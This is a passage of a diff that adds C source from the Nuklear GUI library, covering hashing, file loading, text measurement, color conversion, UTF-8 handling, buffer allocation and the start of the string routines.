3: k1 ^= (nk_uint)(tail[2] << 16); /* fallthrough */ + case 2: k1 ^= (nk_uint)(tail[1] << 8u); /* fallthrough */ + case 1: k1 ^= tail[0]; + k1 *= c1; + k1 = NK_ROTL(k1,15); + k1 *= c2; + h1 ^= k1; + break; + default: break; + } + + /* finalization */ + h1 ^= (nk_uint)len; + /* fmix32 */ + h1 ^= h1 >> 16; + h1 *= 0x85ebca6b; + h1 ^= h1 >> 13; + h1 *= 0xc2b2ae35; + h1 ^= h1 >> 16; + + #undef NK_ROTL + return h1; +} +#ifdef NK_INCLUDE_STANDARD_IO +NK_LIB char* +nk_file_load(const char* path, nk_size* siz, struct nk_allocator *alloc) +{ + char *buf; + FILE *fd; + long ret; + + NK_ASSERT(path); + NK_ASSERT(siz); + NK_ASSERT(alloc); + if (!path || !siz || !alloc) + return 0; + + fd = fopen(path, "rb"); + if (!fd) return 0; + fseek(fd, 0, SEEK_END); + ret = ftell(fd); + if (ret < 0) { + fclose(fd); + return 0; + } + *siz = (nk_size)ret; + fseek(fd, 0, SEEK_SET); + buf = (char*)alloc->alloc(alloc->userdata,0, *siz); + NK_ASSERT(buf); + if (!buf) { + fclose(fd); + return 0; + } + *siz = (nk_size)fread(buf, 1,*siz, fd); + fclose(fd); + return buf; +} +#endif +NK_LIB int +nk_text_clamp(const struct nk_user_font *font, const char *text, + int text_len, float space, int *glyphs, float *text_width, + nk_rune *sep_list, int sep_count) +{ + int i = 0; + int glyph_len = 0; + float last_width = 0; + nk_rune unicode = 0; + float width = 0; + int len = 0; + int g = 0; + float s; + + int sep_len = 0; + int sep_g = 0; + float sep_width = 0; + sep_count = NK_MAX(sep_count,0); + + glyph_len = nk_utf_decode(text, &unicode, text_len); + while (glyph_len && (width < space) && (len < text_len)) { + len += glyph_len; + s = font->width(font->userdata, font->height, text, len); + for (i = 0; i < sep_count; ++i) { + if (unicode != sep_list[i]) continue; + sep_width = last_width = width; + sep_g = g+1; + sep_len = len; + break; + } + if (i == sep_count){ + last_width = sep_width = width; + sep_g = g+1; + } + width = s; + glyph_len = nk_utf_decode(&text[len], &unicode, text_len - len); + g++; + } + if (len >= text_len) { + *glyphs = g; + *text_width = last_width; + return len; + } else { + *glyphs = sep_g; + *text_width = sep_width; + return (!sep_len) ? len: sep_len; + } +} +NK_LIB struct nk_vec2 +nk_text_calculate_text_bounds(const struct nk_user_font *font, + const char *begin, int byte_len, float row_height, const char **remaining, + struct nk_vec2 *out_offset, int *glyphs, int op) +{ + float line_height = row_height; + struct nk_vec2 text_size = nk_vec2(0,0); + float line_width = 0.0f; + + float glyph_width; + int glyph_len = 0; + nk_rune unicode = 0; + int text_len = 0; + if (!begin || byte_len <= 0 || !font) + return nk_vec2(0,row_height); + + glyph_len = nk_utf_decode(begin, &unicode, byte_len); + if (!glyph_len) return text_size; + glyph_width = font->width(font->userdata, font->height, begin, glyph_len); + + *glyphs = 0; + while ((text_len < byte_len) && glyph_len) { + if (unicode == '\n') { + text_size.x = NK_MAX(text_size.x, line_width); + text_size.y += line_height; + line_width = 0; + *glyphs+=1; + if (op == NK_STOP_ON_NEW_LINE) + break; + + text_len++; + glyph_len = nk_utf_decode(begin + text_len, &unicode, byte_len-text_len); + continue; + } + + if (unicode == '\r') { + text_len++; + *glyphs+=1; + glyph_len = nk_utf_decode(begin + text_len, &unicode, byte_len-text_len); + continue; + } + + *glyphs = *glyphs + 1; + text_len += glyph_len; + line_width += (float)glyph_width; + glyph_len = nk_utf_decode(begin + text_len, &unicode, byte_len-text_len); + glyph_width = font->width(font->userdata, font->height, begin+text_len, glyph_len); + continue; + } + + if (text_size.x < line_width) + text_size.x = line_width; + if (out_offset) + *out_offset = nk_vec2(line_width, text_size.y + line_height); + if (line_width > 0 || text_size.y == 0.0f) + text_size.y += line_height; + if (remaining) + *remaining = begin+text_len; + return text_size; +} + + + + + +/* ============================================================== + * + * COLOR + * + * ===============================================================*/ +NK_INTERN int +nk_parse_hex(const char *p, int length) +{ + int i = 0; + int len = 0; + while (len < length) { + i <<= 4; + if (p[len] >= 'a' && p[len] <= 'f') + i += ((p[len] - 'a') + 10); + else if (p[len] >= 'A' && p[len] <= 'F') + i += ((p[len] - 'A') + 10); + else i += (p[len] - '0'); + len++; + } + return i; +} +NK_API struct nk_color +nk_rgba(int r, int g, int b, int a) +{ + struct nk_color ret; + ret.r = (nk_byte)NK_CLAMP(0, r, 255); + ret.g = (nk_byte)NK_CLAMP(0, g, 255); + ret.b = (nk_byte)NK_CLAMP(0, b, 255); + ret.a = (nk_byte)NK_CLAMP(0, a, 255); + return ret; +} +NK_API struct nk_color +nk_rgb_hex(const char *rgb) +{ + struct nk_color col; + const char *c = rgb; + if (*c == '#') c++; + col.r = (nk_byte)nk_parse_hex(c, 2); + col.g = (nk_byte)nk_parse_hex(c+2, 2); + col.b = (nk_byte)nk_parse_hex(c+4, 2); + col.a = 255; + return col; +} +NK_API struct nk_color +nk_rgba_hex(const char *rgb) +{ + struct nk_color col; + const char *c = rgb; + if (*c == '#') c++; + col.r = (nk_byte)nk_parse_hex(c, 2); + col.g = (nk_byte)nk_parse_hex(c+2, 2); + col.b = (nk_byte)nk_parse_hex(c+4, 2); + col.a = (nk_byte)nk_parse_hex(c+6, 2); + return col; +} +NK_API void +nk_color_hex_rgba(char *output, struct nk_color col) +{ + #define NK_TO_HEX(i) ((i) <= 9 ? '0' + (i): 'A' - 10 + (i)) + output[0] = (char)NK_TO_HEX((col.r & 0xF0) >> 4); + output[1] = (char)NK_TO_HEX((col.r & 0x0F)); + output[2] = (char)NK_TO_HEX((col.g & 0xF0) >> 4); + output[3] = (char)NK_TO_HEX((col.g & 0x0F)); + output[4] = (char)NK_TO_HEX((col.b & 0xF0) >> 4); + output[5] = (char)NK_TO_HEX((col.b & 0x0F)); + output[6] = (char)NK_TO_HEX((col.a & 0xF0) >> 4); + output[7] = (char)NK_TO_HEX((col.a & 0x0F)); + output[8] = '\0'; + #undef NK_TO_HEX +} +NK_API void +nk_color_hex_rgb(char *output, struct nk_color col) +{ + #define NK_TO_HEX(i) ((i) <= 9 ? '0' + (i): 'A' - 10 + (i)) + output[0] = (char)NK_TO_HEX((col.r & 0xF0) >> 4); + output[1] = (char)NK_TO_HEX((col.r & 0x0F)); + output[2] = (char)NK_TO_HEX((col.g & 0xF0) >> 4); + output[3] = (char)NK_TO_HEX((col.g & 0x0F)); + output[4] = (char)NK_TO_HEX((col.b & 0xF0) >> 4); + output[5] = (char)NK_TO_HEX((col.b & 0x0F)); + output[6] = '\0'; + #undef NK_TO_HEX +} +NK_API struct nk_color +nk_rgba_iv(const int *c) +{ + return nk_rgba(c[0], c[1], c[2], c[3]); +} +NK_API struct nk_color +nk_rgba_bv(const nk_byte *c) +{ + return nk_rgba(c[0], c[1], c[2], c[3]); +} +NK_API struct nk_color +nk_rgb(int r, int g, int b) +{ + struct nk_color ret; + ret.r = (nk_byte)NK_CLAMP(0, r, 255); + ret.g = (nk_byte)NK_CLAMP(0, g, 255); + ret.b = (nk_byte)NK_CLAMP(0, b, 255); + ret.a = (nk_byte)255; + return ret; +} +NK_API struct nk_color +nk_rgb_iv(const int *c) +{ + return nk_rgb(c[0], c[1], c[2]); +} +NK_API struct nk_color +nk_rgb_bv(const nk_byte* c) +{ + return nk_rgb(c[0], c[1], c[2]); +} +NK_API struct nk_color +nk_rgba_u32(nk_uint in) +{ + struct nk_color ret; + ret.r = (in & 0xFF); + ret.g = ((in >> 8) & 0xFF); + ret.b = ((in >> 16) & 0xFF); + ret.a = (nk_byte)((in >> 24) & 0xFF); + return ret; +} +NK_API struct nk_color +nk_rgba_f(float r, float g, float b, float a) +{ + struct nk_color ret; + ret.r = (nk_byte)(NK_SATURATE(r) * 255.0f); + ret.g = (nk_byte)(NK_SATURATE(g) * 255.0f); + ret.b = (nk_byte)(NK_SATURATE(b) * 255.0f); + ret.a = (nk_byte)(NK_SATURATE(a) * 255.0f); + return ret; +} +NK_API struct nk_color +nk_rgba_fv(const float *c) +{ + return nk_rgba_f(c[0], c[1], c[2], c[3]); +} +NK_API struct nk_color +nk_rgba_cf(struct nk_colorf c) +{ + return nk_rgba_f(c.r, c.g, c.b, c.a); +} +NK_API struct nk_color +nk_rgb_f(float r, float g, float b) +{ + struct nk_color ret; + ret.r = (nk_byte)(NK_SATURATE(r) * 255.0f); + ret.g = (nk_byte)(NK_SATURATE(g) * 255.0f); + ret.b = (nk_byte)(NK_SATURATE(b) * 255.0f); + ret.a = 255; + return ret; +} +NK_API struct nk_color +nk_rgb_fv(const float *c) +{ + return nk_rgb_f(c[0], c[1], c[2]); +} +NK_API struct nk_color +nk_rgb_cf(struct nk_colorf c) +{ + return nk_rgb_f(c.r, c.g, c.b); +} +NK_API struct nk_color +nk_hsv(int h, int s, int v) +{ + return nk_hsva(h, s, v, 255); +} +NK_API struct nk_color +nk_hsv_iv(const int *c) +{ + return nk_hsv(c[0], c[1], c[2]); +} +NK_API struct nk_color +nk_hsv_bv(const nk_byte *c) +{ + return nk_hsv(c[0], c[1], c[2]); +} +NK_API struct nk_color +nk_hsv_f(float h, float s, float v) +{ + return nk_hsva_f(h, s, v, 1.0f); +} +NK_API struct nk_color +nk_hsv_fv(const float *c) +{ + return nk_hsv_f(c[0], c[1], c[2]); +} +NK_API struct nk_color +nk_hsva(int h, int s, int v, int a) +{ + float hf = ((float)NK_CLAMP(0, h, 255)) / 255.0f; + float sf = ((float)NK_CLAMP(0, s, 255)) / 255.0f; + float vf = ((float)NK_CLAMP(0, v, 255)) / 255.0f; + float af = ((float)NK_CLAMP(0, a, 255)) / 255.0f; + return nk_hsva_f(hf, sf, vf, af); +} +NK_API struct nk_color +nk_hsva_iv(const int *c) +{ + return nk_hsva(c[0], c[1], c[2], c[3]); +} +NK_API struct nk_color +nk_hsva_bv(const nk_byte *c) +{ + return nk_hsva(c[0], c[1], c[2], c[3]); +} +NK_API struct nk_colorf +nk_hsva_colorf(float h, float s, float v, float a) +{ + int i; + float p, q, t, f; + struct nk_colorf out = {0,0,0,0}; + if (s <= 0.0f) { + out.r = v; out.g = v; out.b = v; out.a = a; + return out; + } + h = h / (60.0f/360.0f); + i = (int)h; + f = h - (float)i; + p = v * (1.0f - s); + q = v * (1.0f - (s * f)); + t = v * (1.0f - s * (1.0f - f)); + + switch (i) { + case 0: default: out.r = v; out.g = t; out.b = p; break; + case 1: out.r = q; out.g = v; out.b = p; break; + case 2: out.r = p; out.g = v; out.b = t; break; + case 3: out.r = p; out.g = q; out.b = v; break; + case 4: out.r = t; out.g = p; out.b = v; break; + case 5: out.r = v; out.g = p; out.b = q; break;} + out.a = a; + return out; +} +NK_API struct nk_colorf +nk_hsva_colorfv(float *c) +{ + return nk_hsva_colorf(c[0], c[1], c[2], c[3]); +} +NK_API struct nk_color +nk_hsva_f(float h, float s, float v, float a) +{ + struct nk_colorf c = nk_hsva_colorf(h, s, v, a); + return nk_rgba_f(c.r, c.g, c.b, c.a); +} +NK_API struct nk_color +nk_hsva_fv(const float *c) +{ + return nk_hsva_f(c[0], c[1], c[2], c[3]); +} +NK_API nk_uint +nk_color_u32(struct nk_color in) +{ + nk_uint out = (nk_uint)in.r; + out |= ((nk_uint)in.g << 8); + out |= ((nk_uint)in.b << 16); + out |= ((nk_uint)in.a << 24); + return out; +} +NK_API void +nk_color_f(float *r, float *g, float *b, float *a, struct nk_color in) +{ + NK_STORAGE const float s = 1.0f/255.0f; + *r = (float)in.r * s; + *g = (float)in.g * s; + *b = (float)in.b * s; + *a = (float)in.a * s; +} +NK_API void +nk_color_fv(float *c, struct nk_color in) +{ + nk_color_f(&c[0], &c[1], &c[2], &c[3], in); +} +NK_API struct nk_colorf +nk_color_cf(struct nk_color in) +{ + struct nk_colorf o; + nk_color_f(&o.r, &o.g, &o.b, &o.a, in); + return o; +} +NK_API void +nk_color_d(double *r, double *g, double *b, double *a, struct nk_color in) +{ + NK_STORAGE const double s = 1.0/255.0; + *r = (double)in.r * s; + *g = (double)in.g * s; + *b = (double)in.b * s; + *a = (double)in.a * s; +} +NK_API void +nk_color_dv(double *c, struct nk_color in) +{ + nk_color_d(&c[0], &c[1], &c[2], &c[3], in); +} +NK_API void +nk_color_hsv_f(float *out_h, float *out_s, float *out_v, struct nk_color in) +{ + float a; + nk_color_hsva_f(out_h, out_s, out_v, &a, in); +} +NK_API void +nk_color_hsv_fv(float *out, struct nk_color in) +{ + float a; + nk_color_hsva_f(&out[0], &out[1], &out[2], &a, in); +} +NK_API void +nk_colorf_hsva_f(float *out_h, float *out_s, + float *out_v, float *out_a, struct nk_colorf in) +{ + float chroma; + float K = 0.0f; + if (in.g < in.b) { + const float t = in.g; in.g = in.b; in.b = t; + K = -1.f; + } + if (in.r < in.g) { + const float t = in.r; in.r = in.g; in.g = t; + K = -2.f/6.0f - K; + } + chroma = in.r - ((in.g < in.b) ? in.g: in.b); + *out_h = NK_ABS(K + (in.g - in.b)/(6.0f * chroma + 1e-20f)); + *out_s = chroma / (in.r + 1e-20f); + *out_v = in.r; + *out_a = in.a; + +} +NK_API void +nk_colorf_hsva_fv(float *hsva, struct nk_colorf in) +{ + nk_colorf_hsva_f(&hsva[0], &hsva[1], &hsva[2], &hsva[3], in); +} +NK_API void +nk_color_hsva_f(float *out_h, float *out_s, + float *out_v, float *out_a, struct nk_color in) +{ + struct nk_colorf col; + nk_color_f(&col.r,&col.g,&col.b,&col.a, in); + nk_colorf_hsva_f(out_h, out_s, out_v, out_a, col); +} +NK_API void +nk_color_hsva_fv(float *out, struct nk_color in) +{ + nk_color_hsva_f(&out[0], &out[1], &out[2], &out[3], in); +} +NK_API void +nk_color_hsva_i(int *out_h, int *out_s, int *out_v, + int *out_a, struct nk_color in) +{ + float h,s,v,a; + nk_color_hsva_f(&h, &s, &v, &a, in); + *out_h = (nk_byte)(h * 255.0f); + *out_s = (nk_byte)(s * 255.0f); + *out_v = (nk_byte)(v * 255.0f); + *out_a = (nk_byte)(a * 255.0f); +} +NK_API void +nk_color_hsva_iv(int *out, struct nk_color in) +{ + nk_color_hsva_i(&out[0], &out[1], &out[2], &out[3], in); +} +NK_API void +nk_color_hsva_bv(nk_byte *out, struct nk_color in) +{ + int tmp[4]; + nk_color_hsva_i(&tmp[0], &tmp[1], &tmp[2], &tmp[3], in); + out[0] = (nk_byte)tmp[0]; + out[1] = (nk_byte)tmp[1]; + out[2] = (nk_byte)tmp[2]; + out[3] = (nk_byte)tmp[3]; +} +NK_API void +nk_color_hsva_b(nk_byte *h, nk_byte *s, nk_byte *v, nk_byte *a, struct nk_color in) +{ + int tmp[4]; + nk_color_hsva_i(&tmp[0], &tmp[1], &tmp[2], &tmp[3], in); + *h = (nk_byte)tmp[0]; + *s = (nk_byte)tmp[1]; + *v = (nk_byte)tmp[2]; + *a = (nk_byte)tmp[3]; +} +NK_API void +nk_color_hsv_i(int *out_h, int *out_s, int *out_v, struct nk_color in) +{ + int a; + nk_color_hsva_i(out_h, out_s, out_v, &a, in); +} +NK_API void +nk_color_hsv_b(nk_byte *out_h, nk_byte *out_s, nk_byte *out_v, struct nk_color in) +{ + int tmp[4]; + nk_color_hsva_i(&tmp[0], &tmp[1], &tmp[2], &tmp[3], in); + *out_h = (nk_byte)tmp[0]; + *out_s = (nk_byte)tmp[1]; + *out_v = (nk_byte)tmp[2]; +} +NK_API void +nk_color_hsv_iv(int *out, struct nk_color in) +{ + nk_color_hsv_i(&out[0], &out[1], &out[2], in); +} +NK_API void +nk_color_hsv_bv(nk_byte *out, struct nk_color in) +{ + int tmp[4]; + nk_color_hsv_i(&tmp[0], &tmp[1], &tmp[2], in); + out[0] = (nk_byte)tmp[0]; + out[1] = (nk_byte)tmp[1]; + out[2] = (nk_byte)tmp[2]; +} + + + + + +/* =============================================================== + * + * UTF-8 + * + * ===============================================================*/ +NK_GLOBAL const nk_byte nk_utfbyte[NK_UTF_SIZE+1] = {0x80, 0, 0xC0, 0xE0, 0xF0}; +NK_GLOBAL const nk_byte nk_utfmask[NK_UTF_SIZE+1] = {0xC0, 0x80, 0xE0, 0xF0, 0xF8}; +NK_GLOBAL const nk_uint nk_utfmin[NK_UTF_SIZE+1] = {0, 0, 0x80, 0x800, 0x10000}; +NK_GLOBAL const nk_uint nk_utfmax[NK_UTF_SIZE+1] = {0x10FFFF, 0x7F, 0x7FF, 0xFFFF, 0x10FFFF}; + +NK_INTERN int +nk_utf_validate(nk_rune *u, int i) +{ + NK_ASSERT(u); + if (!u) return 0; + if (!NK_BETWEEN(*u, nk_utfmin[i], nk_utfmax[i]) || + NK_BETWEEN(*u, 0xD800, 0xDFFF)) + *u = NK_UTF_INVALID; + for (i = 1; *u > nk_utfmax[i]; ++i); + return i; +} +NK_INTERN nk_rune +nk_utf_decode_byte(char c, int *i) +{ + NK_ASSERT(i); + if (!i) return 0; + for(*i = 0; *i < (int)NK_LEN(nk_utfmask); ++(*i)) { + if (((nk_byte)c & nk_utfmask[*i]) == nk_utfbyte[*i]) + return (nk_byte)(c & ~nk_utfmask[*i]); + } + return 0; +} +NK_API int +nk_utf_decode(const char *c, nk_rune *u, int clen) +{ + int i, j, len, type=0; + nk_rune udecoded; + + NK_ASSERT(c); + NK_ASSERT(u); + + if (!c || !u) return 0; + if (!clen) return 0; + *u = NK_UTF_INVALID; + + udecoded = nk_utf_decode_byte(c[0], &len); + if (!NK_BETWEEN(len, 1, NK_UTF_SIZE)) + return 1; + + for (i = 1, j = 1; i < clen && j < len; ++i, ++j) { + udecoded = (udecoded << 6) | nk_utf_decode_byte(c[i], &type); + if (type != 0) + return j; + } + if (j < len) + return 0; + *u = udecoded; + nk_utf_validate(u, len); + return len; +} +NK_INTERN char +nk_utf_encode_byte(nk_rune u, int i) +{ + return (char)((nk_utfbyte[i]) | ((nk_byte)u & ~nk_utfmask[i])); +} +NK_API int +nk_utf_encode(nk_rune u, char *c, int clen) +{ + int len, i; + len = nk_utf_validate(&u, 0); + if (clen < len || !len || len > NK_UTF_SIZE) + return 0; + + for (i = len - 1; i != 0; --i) { + c[i] = nk_utf_encode_byte(u, 0); + u >>= 6; + } + c[0] = nk_utf_encode_byte(u, len); + return len; +} +NK_API int +nk_utf_len(const char *str, int len) +{ + const char *text; + int glyphs = 0; + int text_len; + int glyph_len; + int src_len = 0; + nk_rune unicode; + + NK_ASSERT(str); + if (!str || !len) return 0; + + text = str; + text_len = len; + glyph_len = nk_utf_decode(text, &unicode, text_len); + while (glyph_len && src_len < len) { + glyphs++; + src_len = src_len + glyph_len; + glyph_len = nk_utf_decode(text + src_len, &unicode, text_len - src_len); + } + return glyphs; +} +NK_API const char* +nk_utf_at(const char *buffer, int length, int index, + nk_rune *unicode, int *len) +{ + int i = 0; + int src_len = 0; + int glyph_len = 0; + const char *text; + int text_len; + + NK_ASSERT(buffer); + NK_ASSERT(unicode); + NK_ASSERT(len); + + if (!buffer || !unicode || !len) return 0; + if (index < 0) { + *unicode = NK_UTF_INVALID; + *len = 0; + return 0; + } + + text = buffer; + text_len = length; + glyph_len = nk_utf_decode(text, unicode, text_len); + while (glyph_len) { + if (i == index) { + *len = glyph_len; + break; + } + + i++; + src_len = src_len + glyph_len; + glyph_len = nk_utf_decode(text + src_len, unicode, text_len - src_len); + } + if (i != index) return 0; + return buffer + src_len; +} + + + + + +/* ============================================================== + * + * BUFFER + * + * ===============================================================*/ +#ifdef NK_INCLUDE_DEFAULT_ALLOCATOR +NK_LIB void* +nk_malloc(nk_handle unused, void *old,nk_size size) +{ + NK_UNUSED(unused); + NK_UNUSED(old); + return malloc(size); +} +NK_LIB void +nk_mfree(nk_handle unused, void *ptr) +{ + NK_UNUSED(unused); + free(ptr); +} +NK_API void +nk_buffer_init_default(struct nk_buffer *buffer) +{ + struct nk_allocator alloc; + alloc.userdata.ptr = 0; + alloc.alloc = nk_malloc; + alloc.free = nk_mfree; + nk_buffer_init(buffer, &alloc, NK_BUFFER_DEFAULT_INITIAL_SIZE); +} +#endif + +NK_API void +nk_buffer_init(struct nk_buffer *b, const struct nk_allocator *a, + nk_size initial_size) +{ + NK_ASSERT(b); + NK_ASSERT(a); + NK_ASSERT(initial_size); + if (!b || !a || !initial_size) return; + + nk_zero(b, sizeof(*b)); + b->type = NK_BUFFER_DYNAMIC; + b->memory.ptr = a->alloc(a->userdata,0, initial_size); + b->memory.size = initial_size; + b->size = initial_size; + b->grow_factor = 2.0f; + b->pool = *a; +} +NK_API void +nk_buffer_init_fixed(struct nk_buffer *b, void *m, nk_size size) +{ + NK_ASSERT(b); + NK_ASSERT(m); + NK_ASSERT(size); + if (!b || !m || !size) return; + + nk_zero(b, sizeof(*b)); + b->type = NK_BUFFER_FIXED; + b->memory.ptr = m; + b->memory.size = size; + b->size = size; +} +NK_LIB void* +nk_buffer_align(void *unaligned, + nk_size align, nk_size *alignment, + enum nk_buffer_allocation_type type) +{ + void *memory = 0; + switch (type) { + default: + case NK_BUFFER_MAX: + case NK_BUFFER_FRONT: + if (align) { + memory = NK_ALIGN_PTR(unaligned, align); + *alignment = (nk_size)((nk_byte*)memory - (nk_byte*)unaligned); + } else { + memory = unaligned; + *alignment = 0; + } + break; + case NK_BUFFER_BACK: + if (align) { + memory = NK_ALIGN_PTR_BACK(unaligned, align); + *alignment = (nk_size)((nk_byte*)unaligned - (nk_byte*)memory); + } else { + memory = unaligned; + *alignment = 0; + } + break; + } + return memory; +} +NK_LIB void* +nk_buffer_realloc(struct nk_buffer *b, nk_size capacity, nk_size *size) +{ + void *temp; + nk_size buffer_size; + + NK_ASSERT(b); + NK_ASSERT(size); + if (!b || !size || !b->pool.alloc || !b->pool.free) + return 0; + + buffer_size = b->memory.size; + temp = b->pool.alloc(b->pool.userdata, b->memory.ptr, capacity); + NK_ASSERT(temp); + if (!temp) return 0; + + *size = capacity; + if (temp != b->memory.ptr) { + NK_MEMCPY(temp, b->memory.ptr, buffer_size); + b->pool.free(b->pool.userdata, b->memory.ptr); + } + + if (b->size == buffer_size) { + /* no back buffer so just set correct size */ + b->size = capacity; + return temp; + } else { + /* copy back buffer to the end of the new buffer */ + void *dst, *src; + nk_size back_size; + back_size = buffer_size - b->size; + dst = nk_ptr_add(void, temp, capacity - back_size); + src = nk_ptr_add(void, temp, b->size); + NK_MEMCPY(dst, src, back_size); + b->size = capacity - back_size; + } + return temp; +} +NK_LIB void* +nk_buffer_alloc(struct nk_buffer *b, enum nk_buffer_allocation_type type, + nk_size size, nk_size align) +{ + int full; + nk_size alignment; + void *unaligned; + void *memory; + + NK_ASSERT(b); + NK_ASSERT(size); + if (!b || !size) return 0; + b->needed += size; + + /* calculate total size with needed alignment + size */ + if (type == NK_BUFFER_FRONT) + unaligned = nk_ptr_add(void, b->memory.ptr, b->allocated); + else unaligned = nk_ptr_add(void, b->memory.ptr, b->size - size); + memory = nk_buffer_align(unaligned, align, &alignment, type); + + /* check if buffer has enough memory*/ + if (type == NK_BUFFER_FRONT) + full = ((b->allocated + size + alignment) > b->size); + else full = ((b->size - NK_MIN(b->size,(size + alignment))) <= b->allocated); + + if (full) { + nk_size capacity; + if (b->type != NK_BUFFER_DYNAMIC) + return 0; + NK_ASSERT(b->pool.alloc && b->pool.free); + if (b->type != NK_BUFFER_DYNAMIC || !b->pool.alloc || !b->pool.free) + return 0; + + /* buffer is full so allocate bigger buffer if dynamic */ + capacity = (nk_size)((float)b->memory.size * b->grow_factor); + capacity = NK_MAX(capacity, nk_round_up_pow2((nk_uint)(b->allocated + size))); + b->memory.ptr = nk_buffer_realloc(b, capacity, &b->memory.size); + if (!b->memory.ptr) return 0; + + /* align newly allocated pointer */ + if (type == NK_BUFFER_FRONT) + unaligned = nk_ptr_add(void, b->memory.ptr, b->allocated); + else unaligned = nk_ptr_add(void, b->memory.ptr, b->size - size); + memory = nk_buffer_align(unaligned, align, &alignment, type); + } + if (type == NK_BUFFER_FRONT) + b->allocated += size + alignment; + else b->size -= (size + alignment); + b->needed += alignment; + b->calls++; + return memory; +} +NK_API void +nk_buffer_push(struct nk_buffer *b, enum nk_buffer_allocation_type type, + const void *memory, nk_size size, nk_size align) +{ + void *mem = nk_buffer_alloc(b, type, size, align); + if (!mem) return; + NK_MEMCPY(mem, memory, size); +} +NK_API void +nk_buffer_mark(struct nk_buffer *buffer, enum nk_buffer_allocation_type type) +{ + NK_ASSERT(buffer); + if (!buffer) return; + buffer->marker[type].active = nk_true; + if (type == NK_BUFFER_BACK) + buffer->marker[type].offset = buffer->size; + else buffer->marker[type].offset = buffer->allocated; +} +NK_API void +nk_buffer_reset(struct nk_buffer *buffer, enum nk_buffer_allocation_type type) +{ + NK_ASSERT(buffer); + if (!buffer) return; + if (type == NK_BUFFER_BACK) { + /* reset back buffer either back to marker or empty */ + buffer->needed -= (buffer->memory.size - buffer->marker[type].offset); + if (buffer->marker[type].active) + buffer->size = buffer->marker[type].offset; + else buffer->size = buffer->memory.size; + buffer->marker[type].active = nk_false; + } else { + /* reset front buffer either back to back marker or empty */ + buffer->needed -= (buffer->allocated - buffer->marker[type].offset); + if (buffer->marker[type].active) + buffer->allocated = buffer->marker[type].offset; + else buffer->allocated = 0; + buffer->marker[type].active = nk_false; + } +} +NK_API void +nk_buffer_clear(struct nk_buffer *b) +{ + NK_ASSERT(b); + if (!b) return; + b->allocated = 0; + b->size = b->memory.size; + b->calls = 0; + b->needed = 0; +} +NK_API void +nk_buffer_free(struct nk_buffer *b) +{ + NK_ASSERT(b); + if (!b || !b->memory.ptr) return; + if (b->type == NK_BUFFER_FIXED) return; + if (!b->pool.free) return; + NK_ASSERT(b->pool.free); + b->pool.free(b->pool.userdata, b->memory.ptr); +} +NK_API void +nk_buffer_info(struct nk_memory_status *s, struct nk_buffer *b) +{ + NK_ASSERT(b); + NK_ASSERT(s); + if (!s || !b) return; + s->allocated = b->allocated; + s->size = b->memory.size; + s->needed = b->needed; + s->memory = b->memory.ptr; + s->calls = b->calls; +} +NK_API void* +nk_buffer_memory(struct nk_buffer *buffer) +{ + NK_ASSERT(buffer); + if (!buffer) return 0; + return buffer->memory.ptr; +} +NK_API const void* +nk_buffer_memory_const(const struct nk_buffer *buffer) +{ + NK_ASSERT(buffer); + if (!buffer) return 0; + return buffer->memory.ptr; +} +NK_API nk_size +nk_buffer_total(struct nk_buffer *buffer) +{ + NK_ASSERT(buffer); + if (!buffer) return 0; + return buffer->memory.size; +} + + + + + +/* =============================================================== + * + * STRING + * + * ===============================================================*/ +#ifdef NK_INCLUDE_DEFAULT_ALLOCATOR +NK_API void +nk_str_init_default(struct nk_str *str) +{ + struct nk_allocator alloc; + alloc.userdata.ptr = 0; + alloc.alloc = nk_malloc; + alloc.free = nk_mfree; + nk_buffer_init(&str->buffer, &alloc, 32); + str->len = 0; +} +#endif + +NK_API void +nk_str_init(struct nk_str *str, const struct nk_allocator *alloc, nk_size size) +{ + nk_buffer_init(&str->buffer, alloc, size); + str->len = 0; +} +NK_API void +nk_str_init_fixed(struct nk_str *str, void *memory, nk_size size) +{ + nk_buffer_init_fixed(&str->buffer, memory, size); + str->len = 0; +} +NK_API int +nk_str_append_text_char(struct nk_str *s, const char *str, int len) +{ + char *mem; + NK_ASSERT(s); + NK_ASSERT(str); + if (!s || !str || !len) return 0; + mem = (char*)nk_buffer_alloc(&s->buffer, NK_BUFFER_FRONT, (nk_size)len * sizeof(char), 0); + if (!mem) return 0; + NK_MEMCPY(mem, str, (nk_size)len * sizeof(char)); + s->len += nk_utf_len(str, len); + return len; +} +NK_API int +nk_str_append_str_char(struct nk_str *s, const char *str) +{ + return nk_str_append_text_char(s, str, nk_strlen(str)); +} +NK_API int +nk_str_append_text_utf8(struct nk_str *str, const char *text, int len) +{ + int i = 0; + int byte_len = 0; + nk_rune unicode; + if (!str || !text || !len) return 0; + for (i = 0; i < len; ++i) + byte_len += nk_utf_decode(text+byte_len, &unicode, 4); + nk_str_append_text_char(str, text, byte_len); + return len; +} +NK_API int +nk_str_append_str_utf8(struct nk_str *str, const char *text) +{ + int runes = 0; + int byte_len = 0; + int num_runes = 0; + int glyph_len = 0; + nk_rune unicode; + if (!str || !text) return 0; + + glyph_len = byte_len = nk_utf_decode(text+byte_len, &unicode, 4); + while (unicode != '\0' && glyph_len) { + glyph_len = nk_utf_decode(text+byte_len, &unicode, 4); + byte_len += glyph_len; + num_runes++; + } + nk_str_append_text_char(str, text, byte_len); + return runes; +} +NK_API int +nk_str_append_text_runes(struct nk_str *str, const nk_rune *text, int len) +{ + int i = 0; + int byte_len = 0; + nk_glyph glyph; + + NK_ASSERT(str); + if (!str || !text || !len) return 0; + for (i = 0; i < len; ++i) { + byte_len = nk_utf_encode(text[i], glyph, NK_UTF_SIZE); + if (!byte_len) break; + nk_str_append_text_char(str, glyph, byte_len); + } + return len; +} +NK_API int +nk_str_append_str_runes(struct nk_str *str, const nk_rune *runes) +{ + int i = 0; + nk_glyph glyph; + int byte_len; + NK_ASSERT(str); + if (!str || !runes) return 0; + while (runes[i] != '\0') { + byte_len = nk_utf_encode(runes[i], glyph, NK_UTF_SIZE); + nk_str_append_text_char(str, glyph, byte_len); + i++; + } + return i; +} +NK_API int +nk_str_insert_at_char(struct nk_str *s, int pos, const char *str, int len) +{ + int i; + void *mem; + char *src; + char *dst; + + int copylen; + NK_ASSERT(s); + NK_ASSERT(str); + NK_ASSERT(len >= 0); + if (!s || !str || !len || (nk_size)pos > s->buffer.allocated) return 0; + if ((s->buffer.allocated + (nk_size)len >= s->buffer.memory.size) && + (s->buffer.type == NK_BUFFER_FIXED)) return 0; + + copylen = (int)s->buffer.allocated - pos; + if (!copylen) { + nk_str_append_text_char(s, str, len); + return 1; + } + mem = nk_buffer_alloc(&s->buffer, NK_BUFFER_FRONT, (nk_size)len * sizeof(char), 0); + if (!mem) return 0; + 